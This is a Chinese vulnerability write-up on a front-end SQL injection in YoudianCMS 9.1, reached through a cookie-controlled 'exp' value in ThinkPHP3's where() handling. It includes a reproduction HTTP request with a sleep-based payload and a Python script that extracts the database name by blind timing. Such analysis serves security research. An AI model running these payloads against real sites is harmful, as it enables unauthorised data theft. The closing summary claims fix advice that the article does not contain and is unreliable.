漏洞描述
友点 CMS V9.1 前台存在 sql 注入,攻击者可获取数据库内容
漏洞影响
youdiancms <=9.1
漏洞复现
GET /index.php/Channel/voteAdd HTTP/1.1
Host: www.youdiancms90.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pn9iofrfklen68u4205veml8s0; youdianAdminLangSet=cn; XDEBUG_SESSION=PHPSTORM; youdianfu[0]=exp; youdianfu[1]==(select 1 from(select sleep(3))a)
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
漏洞细节
变量控制
这里首先有一个可以直接赋值的变量,在 App/Lib/Action/HomeBaseAction.class.php
class HomeBaseAction extends BaseAction {
protected $_fromUser = ''; //微信内部号
protected $_isWx=0; //是否是微信浏览器访问
function _initialize(){
parent::_initialize();
$this->_assignPublicVar();
$this->_assignConfigVar();
$this->getTemplateConfig();
//获取微信帐号=======================
if( isset( $_GET['fu']) && !empty( $_GET['fu']) ){
$this->_fromUser = $_GET['fu'];
cookie('fu', $this->_fromUser, 31536000); //31536000秒=1年,有效期为1年
}else if( cookie('fu') ) {
$this->_fromUser = cookie('fu');
}
//===============================
}
主要看到下面赋值的位置,如果 GET 了一个 fu ,那么就会将这个的值赋值给 cookie,这里的 cookie方法可以跟进去看看,最后是加了一个前缀
$name = $config['prefix'] . $name;
最后是将 GET 的 fu 的值赋值给了 youdianfu
我们如果一开始就给 youdianfu 赋值,那么我们就可以直接控制变量 $this->_fromUser
sql注入
接下来可以找哪里用到了这个 $this->_fromUser ,可以直接搜索
我们这里使用参考文章中使用的 voteAdd 方法,在 App/Lib/Action/Home/ChannelAction.class.php
public function voteAdd(){
header("Content-Type:text/html; charset=utf-8");
$item = $_REQUEST['item'];
$appid = intval($_REQUEST['appid']);
$fromUser = !empty($this->_fromUser) ? $this->_fromUser : get_client_ip();
$_REQUEST = YdInput::checkTextbox( $_REQUEST );
$m = D('Admin/WxVote');
if($m->hasVoted($appid, $fromUser) ){
$this->ajaxReturn(null, '', 2);
}
这里会检测有没有 $this->_fromUser ,我们可以通过 cookie 设置,然后直接进入 $m->hasVoted($appid, $fromUser),我们跟进 App/Lib/Model/Admin/WxVoteModel.class.php
function hasVoted($appid, $fromUser){
$where['AppID'] = $appid;
$where['FromUser'] = $fromUser;
$n = $this->where($where)->count();
if($n>0){
return true;
}else{
return false;
}
}
这里将 $fromUser 的值存进数组 $where ,然后调用 $this->where ,这个 CMS 的核心框架使用的是 thinkphp3 ,thinkphp3 有一些 sql 注入漏洞,这里也是可以的,而且还没有 I() 函数保护
跟进 $this->where($where)->count() ,这里使用了魔术方法 __call,比较容易看懂,这里将值全部传进了 $options 然后进入 $this->getField(strtoupper($method).'('.$field.') AS tp_'.$method)
$options['field'] = $field;
$options = $this->_parseOptions($options);
...
$options['limit'] = 1;
$result = $this->db->select($options);
将值全部存进 $options,我们可以看一下这里面的内容

之后进入 $this->db->select($options),在 App/Core/Lib/Core/Db.class.php
public function select($options=array()) {
$this->model = $options['model'];
$sql = $this->buildSelectSql($options);
$cache = isset($options['cache'])?$options['cache']:false;
if($cache) { // 查询缓存检测
$key = is_string($cache['key'])?$cache['key']:md5($sql);
$value = S($key,'','',$cache['type']);
if(false !== $value) {
return $value;
}
}
$result = $this->query($sql);
这里获取 model 后进入 $this->buildSelectSql($options) ,这看起来像是构建 sql 语句的方法,接着进入 $this->parseSql($this->selectSql,$options) ,$this->selectSql 是查询语句模板
parseSql 是获取 $options 中的值,然后替换模板得到最终的 sql 语句,我们来看看怎么获取到 where
$this->parseWhere(isset($options['where'])?$options['where']:'')
if(is_string($where)) {
...
}else{ // 使用数组或者对象条件表达式
if(isset($where['_logic'])) {
...
}else{
// 默认进行 AND 运算
$operate = ' AND ';
}
foreach ($where as $key=>$val){
$whereStr .= '( ';
if(0===strpos($key,'_')) {
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key,$val);
}else{
// 查询字段的安全过滤
if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
throw_exception(L('_EXPRESS_ERROR_').':'.$key);
}
// 多条件支持
$multi = is_array($val) && isset($val['_multi']);
$key = trim($key);
if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
$array = explode('|',$key);
$str = array();
foreach ($array as $m=>$k){
$v = $multi?$val[$m]:$val;
$str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
}
$whereStr .= implode(' OR ',$str);
}elseif(strpos($key,'&')){
$array = explode('&',$key);
$str = array();
foreach ($array as $m=>$k){
$v = $multi?$val[$m]:$val;
$str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
}
$whereStr .= implode(' AND ',$str);
}else{
$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
}
}
$whereStr .= ' )'.$operate;
}
$whereStr = substr($whereStr,0,-strlen($operate));
这里我把无关紧要的语句全部用 ... 代替了
我们的 $where 值
AppID=0
FromUser=['exp','=(select 1 from (select sleep(3))a)']
根据值来判断,取到 FromUser 的时候,我们会来到这里
$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT|NOTLIKE|LIKE)$/i',$val[0])) { // 比较运算
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}elseif('exp'==strtolower($val[0])){ // 使用表达式
$whereStr .= ' ('.$key.' '.$val[1].') ';
}elseif(preg_match('/^(NOTIN|NOT IN|IN)$/i',$val[0])){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
}
}elseif(preg_match('/(NOTBETWEEN|NOT BETWEEN|BETWEEN)/i',$val[0])){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= ' ('.$key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]).' )';
}else{
throw_exception(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}
}
可以看到 $val[0] 是字符串的时候,如果 $val[0]= exp ,那么就会直接拼接 $val[1]
$whereStr .= ' ('.$key.' '.$val[1].') ';
就会变成
(`FromUser` =(select 1 from(select sleep(3))a))
这里需要 $val[1] 自己带上一个等于号
最后返回 sql 语句
SELECT COUNT(*) AS tp_count FROM `youdian_wx_vote` WHERE ( `AppID` = 0 ) AND ( (`FromUser` =(select 1 from(select sleep(3))a)) ) LIMIT 1
Exp
import requests
import string
import time
s = requests.session()
def check(baseurl, payload):
url = baseurl + "/index.php/Channel/voteAdd"
cookies = {
"PHPSESSID": "pn9iofrfklen68u4205veml8s0",
"youdianAdminLangSet": "cn",
"youdianfu[0]": "exp",
"youdianfu[1]": payload
}
starttime = time.time()
s.get(url, cookies=cookies)
endtime = time.time()
if endtime - starttime >= 3:
return True
return False
def getLength(baseurl):
for i in range(30):
payload = "=(select 1 from(select if(length(database())={0},sleep(3),0))a)".format(str(i))
if check(baseurl, payload):
print("[+] database len: " + str(i))
return i
def getDatabase(baseurl, length):
stringset = string.digits + string.ascii_letters
database = ""
for i in range(length):
for j in stringset:
payload = "=(select 1 from(select if(ascii(substr(database(), {0}, 1))={1},sleep(3),0))a)".format(str(i + 1), str(ord(j)))
if check(baseurl, payload):
database += str(j)
print("[+] " + database)
if __name__ == '__main__':
url = 'http://127.0.0.1/youdiancms9.0'
length = getLength(url)
getDatabase(url, length)

一些其他可注入的点
/index.php/Wap/Channel/voteAdd
还有一些其他的,都是需要微信访问的,这个只要满足使用 $this->_fromUser 且最后进入了 where 方法的,几乎都可以被注入,因此这里挺多地方都是可以注入的
总结
这个漏洞就是满足了两点,一是使用了已知的存在漏洞的框架,二是存在可控的变量,这也为我们代码审计提供了一些思路,可以多找找控制 COOKIE 的地方,这方面的防护相较于 GET POST 更为薄弱一些,然后就是多积累一些框架漏洞,不知道什么时候就使用到了。
参考
- https://forum.butian.net/share/132
欢迎朋友们加群交流

如果不能直接加入,请添加群主微信


本文详细介绍了友点CMS V9.1存在的前台SQL注入漏洞,攻击者可借此获取数据库内容。漏洞涉及变量控制,允许注入,并在系统核心框架中存在SQL注入风险。通过特定条件,攻击者可以构造SQL语句,影响系统安全。此外,文中还列举了其他可能的注入点,并提供了漏洞复现和修复建议。
945

被折叠的 条评论
为什么被折叠?



